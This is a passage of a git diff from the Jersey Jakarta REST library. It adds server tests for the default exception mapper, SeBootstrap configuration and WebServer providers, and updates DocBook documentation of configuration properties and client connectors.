@@ -33,6 +33,7 @@ closeable.unable.to.close=Error while closing {0}. collection.extractor.type.unsupported=Unsupported collection type. contract.cannot.be.bound.to.resource.method=The given contract ({0}) of {1} provider cannot be bound to a resource method. +could.not.bind.to.any.port=Could not bind to any port. default.could.not.process.method=Default value, {0} could not be processed by method {1}. error.async.callback.failed=Callback {0} invocation failed. error.committing.output.stream=Error while committing the output stream. @@ -40,7 +41,7 @@ error.closing.finder=Error while closing {0} resource finder. error.exception.mapping.original.exception=An exception mapping did not successfully produce and processed a response. Logging the original error. error.exception.mapping.processed.response.error=A response error mapping did not successfully produce and processed a response. -error.exception.mapping.thrown.to.container=An exception mapping did not successfully produce and processed a response. Logging the exception propagated to the container. +error.exception.mapping.thrown.to.container=An exception mapping did not successfully produce and processed a response. Logging the exception propagated to the default exception mapper. error.marshalling.jaxb=Error marshalling JAXB object of type "{0}". error.msg=ERROR: {0} error.monitoring.statistics.generation=Error generating monitoring statistics. @@ -112,6 +113,7 @@ event.sink.returns.type=A HTTP GET method {0} that is being injected with SseEventSink should return void. The output will propagate automatically. multiple.event.sink.injection=A HTTP GET method {0} defines to SseEventSink parameters to be injected. Only one of the injected event sinks will be connected to the output. chunked.output.closed=This chunked output has been closed. +ignore.sebootstrap.configuration.property="SeBootstrap.Configuration property {0} is not of expected type {1} and it is ignored. illegal.client.config.class.property.value="{0}" property value ({1}) does not represent a valid client configuration class. Falling back to "{2}". init.msg=Initiating Jersey application, version {0}... injected.webtarget.uri.invalid="@Uri" annotation value is not a valid URI template: "{0}"
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/DefaultExceptionMapperTest.java b/core-server/src/test/java/org/glassfish/jersey/server/DefaultExceptionMapperTest.java new file mode 100644 index 0000000..2f9b346 --- /dev/null +++ b/core-server/src/test/java/org/glassfish/jersey/server/DefaultExceptionMapperTest.java
@@ -0,0 +1,89 @@ +/* + * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.server; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.container.AsyncResponse; +import jakarta.ws.rs.container.CompletionCallback; +import jakarta.ws.rs.container.Suspended; +import jakarta.ws.rs.core.Response; +import org.glassfish.jersey.internal.ExceptionMapperFactory; +import org.junit.jupiter.api.Test; + +import java.io.IOException; +import java.util.concurrent.atomic.AtomicInteger; + +import static org.assertj.core.api.Assertions.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class DefaultExceptionMapperTest { + public static final String MESSAGE = "DefaultExceptionMapperTest I/O Exception"; + @Test + public void testIOException() { + IOException ioe = new IOException(MESSAGE); + DefaultExceptionMapper mapper = new DefaultExceptionMapper(); + Response response = mapper.toResponse(ioe); + assertThat(response.getEntity().toString().contains(MESSAGE)).isFalse(); + } + + @Test + public void testCompletionCallback() { + AtomicInteger counter = new AtomicInteger(); + CompletionCallback hitOnceCallback = new CompletionCallback() { + @Override + public void onComplete(Throwable throwable) { + counter.incrementAndGet(); + } + }; + ResourceConfig resourceConfig = new ResourceConfig().register(new IOExThrowingResource(hitOnceCallback)); + ApplicationHandler applicationHandler = new ApplicationHandler(resourceConfig); + try { + applicationHandler.apply(RequestContextBuilder.from("/", "GET").build()).get(); + } catch (Exception e) { + // expected + } + + assertEquals(1, counter.get()); + } + + @Test + public void testDefaultExceptionMapperNotRegisteredInExceptionMapperFactory() { + ResourceConfig resourceConfig = new ResourceConfig(); + ApplicationHandler applicationHandler = new ApplicationHandler(resourceConfig); + + // use InjectionManager from ApplicationHandler to set up the default bindings + ExceptionMapperFactory exceptionMapperFactory = new ExceptionMapperFactory(applicationHandler.getInjectionManager()); + + assertThat(exceptionMapperFactory.find(Throwable.class)).isNull(); + } + + @Path("/") + public static class IOExThrowingResource { + private final CompletionCallback callback; + + public IOExThrowingResource(CompletionCallback callback) { + this.callback = callback; + } + + @GET + public String doGet(@Suspended AsyncResponse asyncResponse) throws IOException { + asyncResponse.register(callback); + throw new IOException(MESSAGE); + } + } +}
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/JarUtils.java b/core-server/src/test/java/org/glassfish/jersey/server/JarUtils.java index 50a5402..003a735 100644 --- a/core-server/src/test/java/org/glassfish/jersey/server/JarUtils.java +++ b/core-server/src/test/java/org/glassfish/jersey/server/JarUtils.java
@@ -90,11 +90,7 @@ final InputStream f = new BufferedInputStream( Files.newInputStream(new File(base, entry.getKey()).toPath())); - final byte[] buf = new byte[1024]; - int read = 1024; - while ((read = f.read(buf, 0, read)) != -1) { - jos.write(buf, 0, read); - } + f.transferTo(jos); jos.closeEntry(); }
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/internal/RuntimeDelegateImplTest.java b/core-server/src/test/java/org/glassfish/jersey/server/internal/RuntimeDelegateImplTest.java index 3b81936..9aa7419 100644 --- a/core-server/src/test/java/org/glassfish/jersey/server/internal/RuntimeDelegateImplTest.java +++ b/core-server/src/test/java/org/glassfish/jersey/server/internal/RuntimeDelegateImplTest.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,11 +16,17 @@ package org.glassfish.jersey.server.internal; +import jakarta.ws.rs.SeBootstrap; import jakarta.ws.rs.core.Application; import jakarta.ws.rs.ext.RuntimeDelegate; import org.junit.jupiter.api.Test; + +import static org.hamcrest.CoreMatchers.is; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.notNullValue; import static org.junit.jupiter.api.Assertions.assertSame; +import static org.junit.jupiter.api.Assertions.assertTrue; import static org.junit.jupiter.api.Assertions.fail; /** @@ -43,8 +49,64 @@ } } + /** + * Checks that the right RuntimeDelegateImpl is loaded by JAX-RS. + */ @Test public void testRuntimeDelegateInstance() { assertSame(RuntimeDelegateImpl.class, RuntimeDelegate.getInstance().getClass()); } + + @Test + public final void shouldCreateConfigurationBuilder() { + // given + final RuntimeDelegate runtimeDelegate = new RuntimeDelegateImpl(); + // when + final SeBootstrap.Configuration.Builder configurationBuilder = runtimeDelegate.createConfigurationBuilder(); + // then + assertThat(configurationBuilder, is(notNullValue())); + } + + @Test + public final void shouldBuildDefaultConfiguration() { + // given + final SeBootstrap.Configuration.Builder configurationBuilder = new RuntimeDelegateImpl().createConfigurationBuilder(); + // when + final SeBootstrap.Configuration configuration = configurationBuilder.build(); + + // then + assertThat(configuration, is(notNullValue())); + assertTrue(configuration.hasProperty(SeBootstrap.Configuration.PROTOCOL)); + assertTrue(configuration.hasProperty(SeBootstrap.Configuration.HOST)); + assertTrue(configuration.hasProperty(SeBootstrap.Configuration.PORT)); + assertTrue(configuration.hasProperty(SeBootstrap.Configuration.ROOT_PATH)); + assertTrue(configuration.hasProperty(SeBootstrap.Configuration.SSL_CLIENT_AUTHENTICATION)); + assertTrue(configuration.hasProperty(SeBootstrap.Configuration.SSL_CONTEXT)); + assertThat(configuration.property(SeBootstrap.Configuration.PROTOCOL), is("HTTP")); + assertThat(configuration.property(SeBootstrap.Configuration.HOST), is("localhost")); + assertThat(configuration.property(SeBootstrap.Configuration.PORT), is(SeBootstrap.Configuration.DEFAULT_PORT)); + assertThat(configuration.property(SeBootstrap.Configuration.ROOT_PATH), is("/")); + assertThat(configuration.property(SeBootstrap.Configuration.SSL_CLIENT_AUTHENTICATION), + is(SeBootstrap.Configuration.SSLClientAuthentication.NONE)); +// assertThat(configuration.property(SeBootstrap.Configuration.SSL_CONTEXT), is(theInstance(SSLContext.getDefault()))); + assertThat(configuration.protocol(), is("HTTP")); + assertThat(configuration.host(), is("localhost")); + assertThat(configuration.port(), is(SeBootstrap.Configuration.DEFAULT_PORT)); + assertThat(configuration.rootPath(), is("/")); + assertThat(configuration.sslClientAuthentication(), is(SeBootstrap.Configuration.SSLClientAuthentication.NONE)); +// assertThat(configuration.sslContext(), is(theInstance(SSLContext.getDefault()))); + } + + @Test + public final void shouldBuildConfigurationContainingCustomProperties() { + // given + final SeBootstrap.Configuration.Builder configurationBuilder = new RuntimeDelegateImpl().createConfigurationBuilder(); + // when + final SeBootstrap.Configuration configuration = configurationBuilder.property("property", "value").build(); + + // then + assertThat(configuration, is(notNullValue())); + assertTrue(configuration.hasProperty("property")); + assertThat(configuration.property("property"), is("value")); + } }
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/FormParamTest.java b/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/FormParamTest.java index 34f29d6..07b368e 100644 --- a/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/FormParamTest.java +++ b/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/FormParamTest.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -402,8 +402,8 @@ initiateWebApplication(FormResourceDate.class); final String date_RFC1123 = "Sun, 06 Nov 1994 08:49:37 GMT"; - final String date_RFC1036 = "Sunday, 06-Nov-94 08:49:37 GMT"; - final String date_ANSI_C = "Sun Nov 6 08:49:37 1994"; + final String date_RFC1036 = "Sunday, 07-Nov-04 08:49:37 GMT"; + final String date_ANSI_C = "Sun Nov 6 08:49:37 1994"; final Form form = new Form(); form.param("a", date_RFC1123);
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/ParamConverterInternalTest.java b/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/ParamConverterInternalTest.java index 8413a07..9e53639 100644 --- a/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/ParamConverterInternalTest.java +++ b/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/ParamConverterInternalTest.java
@@ -17,6 +17,8 @@ package org.glassfish.jersey.server.internal.inject; +import java.io.IOException; +import java.io.InputStream; import java.lang.annotation.Annotation; import java.lang.reflect.ParameterizedType; import java.lang.reflect.Type; @@ -51,6 +53,7 @@ import org.glassfish.jersey.server.RequestContextBuilder; import org.glassfish.jersey.server.ResourceConfig; +import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.Test; import static org.hamcrest.CoreMatchers.is; import static org.hamcrest.MatcherAssert.assertThat; @@ -304,6 +307,24 @@ } } + @Path("/") + public static class InpuStreamConverterTestResource { + @GET + public String inputStream(@QueryParam("param") InputStream inputStream) throws IOException { + return new String(inputStream.readAllBytes()); + } + } + + @Test + public void inputStreamTest() throws ExecutionException, InterruptedException { + initiateWebApplication(InpuStreamConverterTestResource.class); + + final ContainerResponse responseContext = getResponseContext(UriBuilder.fromPath("/") + .queryParam("param", "Hello").build().toString()); + + Assertions.assertEquals("Hello", responseContext.getEntity()); + } + public static class MyEagerParamProvider implements ParamConverterProvider { @Override
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/internal/scanning/JarFileScannerTest.java b/core-server/src/test/java/org/glassfish/jersey/server/internal/scanning/JarFileScannerTest.java index bdceaa1..a283a59 100644 --- a/core-server/src/test/java/org/glassfish/jersey/server/internal/scanning/JarFileScannerTest.java +++ b/core-server/src/test/java/org/glassfish/jersey/server/internal/scanning/JarFileScannerTest.java
@@ -19,7 +19,7 @@ import java.io.IOException; import java.io.InputStream; import java.nio.file.Files; -import java.nio.file.Paths; +import java.nio.file.Path; import java.util.Enumeration; import java.util.jar.JarEntry; import java.util.jar.JarFile; @@ -114,7 +114,7 @@ private int countJarEntriesUsingScanner(final String parent, final boolean recursive) throws IOException { int scannedEntryCount = 0; - try (final InputStream jaxRsApi = Files.newInputStream(Paths.get(this.jaxRsApiPath))) { + try (final InputStream jaxRsApi = Files.newInputStream(Path.of(this.jaxRsApiPath))) { final JarFileScanner jarFileScanner = new JarFileScanner(jaxRsApi, parent, recursive); while (jarFileScanner.hasNext()) { // Fetch next entry. @@ -136,7 +136,7 @@ @ParameterizedTest @ValueSource(booleans = {true, false}) public void testClassEnumerationWithNonexistentPackage(final boolean recursive) throws IOException { - try (final InputStream jaxRsApi = Files.newInputStream(Paths.get(this.jaxRsApiPath))) { + try (final InputStream jaxRsApi = Files.newInputStream(Path.of(this.jaxRsApiPath))) { final JarFileScanner jarFileScanner = new JarFileScanner(jaxRsApi, "jakarta/ws/r", recursive); assertFalse(jarFileScanner.hasNext(), "Unexpectedly found package 'jakarta.ws.r' in jakarta.ws.rs-api"); } @@ -145,7 +145,7 @@ @ParameterizedTest @ValueSource(booleans = {true, false}) public void testClassEnumerationWithClassPrefix(final boolean recursive) throws IOException { - try (final InputStream jaxRsApi = Files.newInputStream(Paths.get(this.jaxRsApiPath))) { + try (final InputStream jaxRsApi = Files.newInputStream(Path.of(this.jaxRsApiPath))) { final JarFileScanner jarFileScanner = new JarFileScanner(jaxRsApi, "jakarta/ws/rs/GE", recursive); assertFalse(jarFileScanner.hasNext(), "Unexpectedly found package 'jakarta.ws.rs.GE' in jakarta.ws.rs-api"); }
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/model/MethodListTest.java b/core-server/src/test/java/org/glassfish/jersey/server/model/MethodListTest.java index b618c59..78dff45 100644 --- a/core-server/src/test/java/org/glassfish/jersey/server/model/MethodListTest.java +++ b/core-server/src/test/java/org/glassfish/jersey/server/model/MethodListTest.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -105,7 +105,7 @@ @Test public void testSyntheticMethods() { - assertTrue(CSynthetic.CWithField.class.getDeclaredMethods().length == 2); + // assertEquals(2, CSynthetic.CWithField.class.getDeclaredMethods().length); MethodList ml = new MethodList(CSynthetic.CWithField.class, true); assertTrue(!ml.iterator().hasNext());
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/spi/WebServerProviderTest.java b/core-server/src/test/java/org/glassfish/jersey/server/spi/WebServerProviderTest.java new file mode 100644 index 0000000..0176683 --- /dev/null +++ b/core-server/src/test/java/org/glassfish/jersey/server/spi/WebServerProviderTest.java
@@ -0,0 +1,161 @@ +/* + * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.server.spi; + +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.SeBootstrap; +import jakarta.ws.rs.core.Application; +import org.glassfish.jersey.server.ServerProperties; +import org.junit.jupiter.api.Test; + +import java.util.concurrent.CompletionStage; + +import static org.junit.jupiter.api.Assertions.assertNull; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class WebServerProviderTest { + @Test + public void testPropertySetsDifferentClass() { + SeBootstrap.Configuration config = + SeBootstrap.Configuration.builder().property(ServerProperties.WEBSERVER_CLASS, WebServerTestImpl2.class).build(); + + assertNull(new WebServerProviderTestImpl().createServer(WebServerTestImpl.class, Application.class, config)); + } + + @Test + public void testPropertySetsCorrectClass() { + SeBootstrap.Configuration config = + SeBootstrap.Configuration.builder().property(ServerProperties.WEBSERVER_CLASS, WebServerTestImpl.class).build(); + + assertTrue( + WebServerTestImpl.class.isInstance( + new WebServerProviderTestImpl().createServer(WebServerTestImpl2.class, Application.class, config) + ) + ); + } + + @Test + public void testPropertySetsNothingUserTypeIsWrong() { + SeBootstrap.Configuration config = + SeBootstrap.Configuration.builder().build(); + + assertNull(new WebServerProviderTestImpl().createServer(WebServerTestImpl2.class, Application.class, config)); + } + + @Test + public void testPropertySetsNothingUserTypeIsCorrectClass() { + SeBootstrap.Configuration config = + SeBootstrap.Configuration.builder().build(); + + assertTrue( + WebServerTestImpl.class.isInstance( + new WebServerProviderTestImpl().createServer(WebServerTestImpl.class, Application.class, config) + ) + ); + } + + @Test + public void testPropertySetsNothingUserTypeIsSuperClass() { + SeBootstrap.Configuration config = + SeBootstrap.Configuration.builder().build(); + + assertTrue( + WebServerTestImpl.class.isInstance( + new WebServerProviderTestImpl().createServer(WebServer.class, Application.class, config) + ) + ); + } + + public static class WebServerProviderTestImpl implements WebServerProvider { + + @Override + public <T extends WebServer> T createServer( + Class<T> type, Application application, SeBootstrap.Configuration configuration) throws ProcessingException { + if (WebServerProvider.isSupportedWebServer(WebServerTestImpl.class, type, configuration)) { + return (T) new WebServerTestImpl(); + } + return null; + } + + @Override + public <T extends WebServer> T createServer( + Class<T> type, + Class<? extends Application> applicationClass, + SeBootstrap.Configuration configuration) throws ProcessingException { + if (WebServerProvider.isSupportedWebServer(WebServerTestImpl.class, type, configuration)) { + return (T) new WebServerTestImpl(); + } + return null; + } + } + + public static class WebServerTestImpl implements WebServer { + + @Override + public Container container() { + return null; + } + + @Override + public int port() { + return 0; + } + + @Override + public CompletionStage<?> start() { + return null; + } + + @Override + public CompletionStage<?> stop() { + return null; + } + + @Override + public <T> T unwrap(Class<T> nativeClass) { + return null; + } + } + + public static class WebServerTestImpl2 implements WebServer { + + @Override + public Container container() { + return null; + } + + @Override + public int port() { + return 0; + } + + @Override + public CompletionStage<?> start() { + return null; + } + + @Override + public CompletionStage<?> stop() { + return null; + } + + @Override + public <T> T unwrap(Class<T> nativeClass) { + return null; + } + }; +}
diff --git a/docs/pom.xml b/docs/pom.xml index 062ff1f..04789cc 100644 --- a/docs/pom.xml +++ b/docs/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-documentation</artifactId> <packaging>pom</packaging>
diff --git a/docs/src/main/docbook/appendix-properties.xml b/docs/src/main/docbook/appendix-properties.xml index 2ab6d44..43b5bed 100644 --- a/docs/src/main/docbook/appendix-properties.xml +++ b/docs/src/main/docbook/appendix-properties.xml
@@ -237,7 +237,7 @@ </entry> </row> <row> - <entry>&jersey.common.CommonProperties.THREAD_FACTORY;(Jersey 2.44 or later) + <entry>&jersey.common.CommonProperties.THREAD_FACTORY;(Jersey 3.1.7 or later) </entry> <entry> <literal>jersey.config.threads.factory</literal> @@ -254,7 +254,7 @@ </entry> </row> <row> - <entry>&jersey.common.CommonProperties.USE_VIRTUAL_THREADS;(Jersey 2.44 or later) + <entry>&jersey.common.CommonProperties.USE_VIRTUAL_THREADS;(Jersey 3.1.7 or later) </entry> <entry> <literal>jersey.config.threads.use.virtual</literal> @@ -265,7 +265,7 @@ of threads by <literal>FixedThreadPool</literal>. </para> <para> - The default is &lit.false; for this version of Jersey, and &lit.true; for Jersey 3.1+. + The default is &lit.false; for this version of Jersey. </para> </entry> </row> @@ -862,6 +862,78 @@ </table> </section> + <section xml:id="appendix-properties-webserver"> + <title>SeBootstrap and WebServer related configuration properties</title> + + <para> + List of SeBootstrap configuration properties that can be found in &jersey.server.ServerProperties; class. + </para> + + <table> + <title>List of SeBootstrap and WebServer configuration properties</title> + <tgroup cols="3"> + <thead> + <row> + <entry>Constant</entry> + <entry>Value</entry> + <entry>Description</entry> + </row> + </thead> + <tbody> + <row> + <entry>&jersey.server.ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS;</entry> + <entry><literal>jersey.config.server.bootstrap.webserver.allow.privileged.ports</literal></entry> + <entry> + <para> + Defines whether to allow privileged ports (0-1023) to be used to start the + &lit.jersey.server.spi.WebServer; implementation to be chosen from the unused ports when the + &lit.jaxrs.SeBootstrap.Configuration; PORT is set to <literal>-1</literal> or unset. + </para> + <para> + The default ports are 80 for HTTP and 443 for HTTPS when + <literal>WEBSERVER_ALLOW_PRIVILEGED_PORTS</literal> is &lit.true; or 8080 for HTTP and 8443 for HTTPS when + <literal>WEBSERVER_ALLOW_PRIVILEGED_PORTS</literal> is &lit.false;. + </para> + <para> + If &lit.jaxrs.SeBootstrap.Configuration; PORT is set to <literal>0</literal>, the implementation scans for + random port (0-65535) when <literal>WEBSERVER_ALLOW_PRIVILEGED_PORTS</literal> is &lit.true;, or + (1024-65535) when <literal>WEBSERVER_ALLOW_PRIVILEGED_PORTS</literal> is &lit.false;. + </para> + <para> + The default this is &lit.false;. Use &lit.true; to allow a restricted port number. + </para> + </entry> + </row> + <row> + <entry>&jersey.server.ServerProperties.WEBSERVER_AUTO_START;</entry> + <entry><literal>jersey.config.server.bootstrap.webserver.autostart</literal></entry> + <entry> + <para> + Whether to automatically startup <literal>WebServer</literal> at bootstrap. + </para> + <para> + By default, servers are immediately listening to connections after bootstrap, + so no explicit invocation of <literal>WebServer#start()</literal> is needed. + </para> + </entry> + </row> + <row> + <entry>&jersey.server.ServerProperties.WEBSERVER_CLASS;</entry> + <entry><literal>jersey.config.server.bootstrap.webserver.class</literal></entry> + <entry> + <para> + Defines the implementation of <literal>WebServer</literal> to bootstrap. + </para> + <para> + By default auto-selects the first server provider found. + </para> + </entry> + </row> + </tbody> + </tgroup> + </table> + </section> + <section xml:id="appendix-properties-servlet"> <title>Servlet configuration properties</title> @@ -1134,7 +1206,8 @@ &jersey.apache5.Apache5ConnectorProvider;, &jersey.grizzly.GrizzlyConnectorProvider;, &jersey.helidon.HelidonConnectorProvider;, - &jersey.netty.NettyConnectorProvider;, and + &jersey.netty.NettyConnectorProvider;, + &jersey.jetty11.Jetty11ConnectorProvider;, and &jersey.jetty.JettyConnectorProvider; only.</emphasis> </para> </entry> @@ -1237,6 +1310,23 @@ </entry> </row> <row> + <entry>&jersey.client.ClientProperties.SNI_HOST_NAME;</entry> + <entry><literal>jersey.config.client.sniHostName</literal></entry> + <entry> + <para> + Most connectors support HOST header value to be used as an SNIHostName. However, the HOST header is restricted in JDK. + <literal>HttpUrlConnector</literal> and <literal>JavaNetHttpConnector</literal> need + an extra System Property set to allow HOST header. + As an option to HOST header, this property allows the HOST name to be pre-set on a Client and does not need to + be set on each request. + <literal>Since 3.1.2</literal> + </para> + <para> + The value MUST be an instance of &lit.jdk6.String; + </para> + </entry> + </row> + <row> <entry>&jersey.logging.LoggingFeature.LOGGING_FEATURE_LOGGER_NAME_CLIENT; </entry> <entry> @@ -2341,6 +2431,110 @@ </tgroup> </table> </section> + <section xml:id="appendix-properties-client-jnh"> + <title>Java Net HTTP client configuration properties</title> + + <para> + List of client configuration properties that can be found in &jersey.jnh.JavaNetHttpClientProperties; class. + </para> + + <table> + <title>List of Java Net HTTP client configuration properties</title> + <tgroup cols="3"> + <thead> + <row> + <entry>Constant</entry> + <entry>Value</entry> + <entry>Description</entry> + </row> + </thead> + <tbody> + <row> + <entry>&jersey.jnh.JavaNetHttpClientProperties.COOKIE_HANDLER;</entry> + <entry><literal>jersey.config.jnh.client.cookieHandler</literal></entry> + <entry> + <para> + Configuration of the <literal>java.net.CookieHandler</literal> that should be used by the + <literal>java.net.http.HttpClient</literal>. If this option is not set, + <literal>java.net.http.HttpClient#cookieHandler()</literal> will return an empty + <literal>java.util.Optional</literal> and therefore no cookie handler will be used. + </para> + <para> + A provided value to this option has to be of type <literal>java.net.CookieHandler</literal>. + </para> + </entry> + </row> + <row> + <entry>&jersey.jnh.JavaNetHttpClientProperties.SSL_PARAMETERS;</entry> + <entry><literal>jersey.config.jnh.client.sslParameters</literal></entry> + <entry> + <para> + Configuration of SSL parameters used by the <literal>java.net.http.HttpClient</literal>. + If this option is not set, then the <literal>java.net.http.HttpClient</literal> will use + <it>implementation specific</it> default values. + </para> + <para> + A provided value to this option has to be of type <literal>javax.net.ssl.SSLParameters</literal>. + </para> + </entry> + </row> + <row> + <entry>&jersey.jnh.JavaNetHttpClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION;</entry> + <entry><literal>jersey.config.jnh.client.preemptiveBasicAuthentication</literal></entry> + <entry> + <para> + An instance of the Authenticator class which represents an object that knows how to + obtain authentication for a network connection should be used. + </para> + <para> + If an <literal>java.net.Authenticator</literal> instance is found, + it is then used for the given request. + </para> + <para> + The value MUST be an instance of <literal>java.net.Authenticator</literal>. + If the property is absent, no authentication is used. + </para> + </entry> + </row> + <row> + <entry>&jersey.jnh.JavaNetHttpClientProperties.DISABLE_COOKIES;</entry> + <entry><literal>jersey.config.jnh.client.disableCookies</literal></entry> + <entry> + <para> + A value of &lit.false; indicates the client should handle cookies + automatically using HttpClient's default cookie policy. A value + of &lit.true; will cause the client to ignore all cookies. + </para> + <para> + The value MUST be an instance of <literal>java.lang.Boolean</literal>. + </para> + <para> + The default value is &lit.false;. + </para> + </entry> + </row> + <row> + <entry>&jersey.jnh.JavaNetHttpClientProperties.HTTP_VERSION;</entry> + <entry><literal>jersey.config.jnh.client.httpVersion</literal></entry> + <entry> + <para> + HTTP version - if null or instance of HttpClient.Version.HTTP_1_1 + the version will be set to HTTP_1_1. If version is HttpClient.Version.HTTP_2 + the client will attempt to perform each request using HTTP_2 protocol + but if not supported by server, the protocol will be still HTTP_1_1 + </para> + <para> + The value MUST be an instance of <literal>java.net.http.HttpClient.Version</literal>. + </para> + <para> + The default value is &lit.null;. + </para> + </entry> + </row> + </tbody> + </tgroup> + </table> + </section> <section xml:id="appendix-properties-multipart"> <title>Multipart configuration properties</title>
diff --git a/docs/src/main/docbook/client.xml b/docs/src/main/docbook/client.xml index 4dcfc91..bfda0f5 100644 --- a/docs/src/main/docbook/client.xml +++ b/docs/src/main/docbook/client.xml
@@ -656,14 +656,19 @@ <entry><literal>org.glassfish.jersey.connectors:jersey-helidon-connector</literal></entry> </row> <row> - <entry>Jetty HTTP client</entry> + <entry>Jetty HTTP client (JDK 17+)</entry> <entry>&jersey.jetty.JettyConnectorProvider;</entry> <entry><literal>org.glassfish.jersey.connectors:jersey-jetty-connector</literal></entry> </row> <row> - <entry>Jetty HTTP/2 client</entry> - <entry>&jersey.jetty.JettyHttp2ConnectorProvider;</entry> - <entry><literal>org.glassfish.jersey.connectors:jersey-jetty-http2-connector</literal></entry> + <entry>Jetty 11.x HTTP client</entry> + <entry>&jersey.jetty11.Jetty11ConnectorProvider;</entry> + <entry><literal>org.glassfish.jersey.connectors:jersey-jetty11-connector</literal></entry> + </row> + <row> + <entry>Jetty 11.x HTTP/2 client</entry> + <entry>&jersey.jetty11.Jetty11Http2ConnectorProvider;</entry> + <entry><literal>org.glassfish.jersey.connectors:jersey-jetty11-http2-connector</literal></entry> </row> <row> <entry>Netty NIO framework</entry> @@ -675,6 +680,11 @@ <entry>&jersey.jdk.JdkConnectorProvider;</entry> <entry><literal>org.glassfish.jersey.connectors:jersey-jdk-connector</literal></entry> </row> + <row> + <entry>Java java.net.http client</entry> + <entry>&jersey.jnh.JavaNetHttpConnectorProvider;</entry> + <entry><literal>org.glassfish.jersey.connectors:jersey-jnh-connector</literal></entry> + </row> </tbody> </tgroup> </table> @@ -878,6 +888,21 @@ </programlisting> </para> </section> + <section> + <title>Jetty 11.x HttpClient Configuration</title> + <para> + For Jetty Connector, an &jersey.jetty11.Jetty11HttpClientSupplier; SPI allows for providing a configured instance + of <literal>org.eclipse.jetty.client.HttpClient</literal>: + <programlisting language="java" linenumbering="numbered"> + HttpClient httpClient = new HttpClient(...); + ClientConfig clientConfig = new ClientConfig() + .connectorProvider(new Jetty11ConnectorProvider()) + .register(new Jetty11HttpClientSupplier(httpClient)); + Client client = ClientBuilder.newClient(clientConfig); + ... + </programlisting> + </para> + </section> </section> </section> @@ -1028,9 +1053,9 @@ revalidate URL using a custom implementation of &lit.jdk6.HostnameVerifier; and go on in a handshake processing. &lit.jersey.jetty.JettyConnectorProvider; and &lit.jersey.grizzly.GrizzlyConnectorProvider; provide only host URL verification and throw a &lit.jdk6.CertificateException; without any possibility to use custom &lit.jdk6.HostnameVerifier;. - Moreover, in case of &lit.jersey.jetty.JettyConnectorProvider; there is a property - &jersey.jetty.JettyClientProperties.ENABLE_SSL_HOSTNAME_VERIFICATION; to disable an entire host URL verification - mechanism in a handshake. + Moreover, in case of &lit.jersey.jetty.JettyConnectorProvider; and &lit.jersey.jetty11.Jetty11ConnectorProvider; there are the properties + &jersey.jetty.JettyClientProperties.ENABLE_SSL_HOSTNAME_VERIFICATION; and &jersey.jetty11.Jetty11ClientProperties.ENABLE_SSL_HOSTNAME_VERIFICATION; + to disable an entire host URL verification mechanism in a handshake. </para> </important>
diff --git a/docs/src/main/docbook/dependencies.xml b/docs/src/main/docbook/dependencies.xml index 8fb7d44..8037dc9 100644 --- a/docs/src/main/docbook/dependencies.xml +++ b/docs/src/main/docbook/dependencies.xml
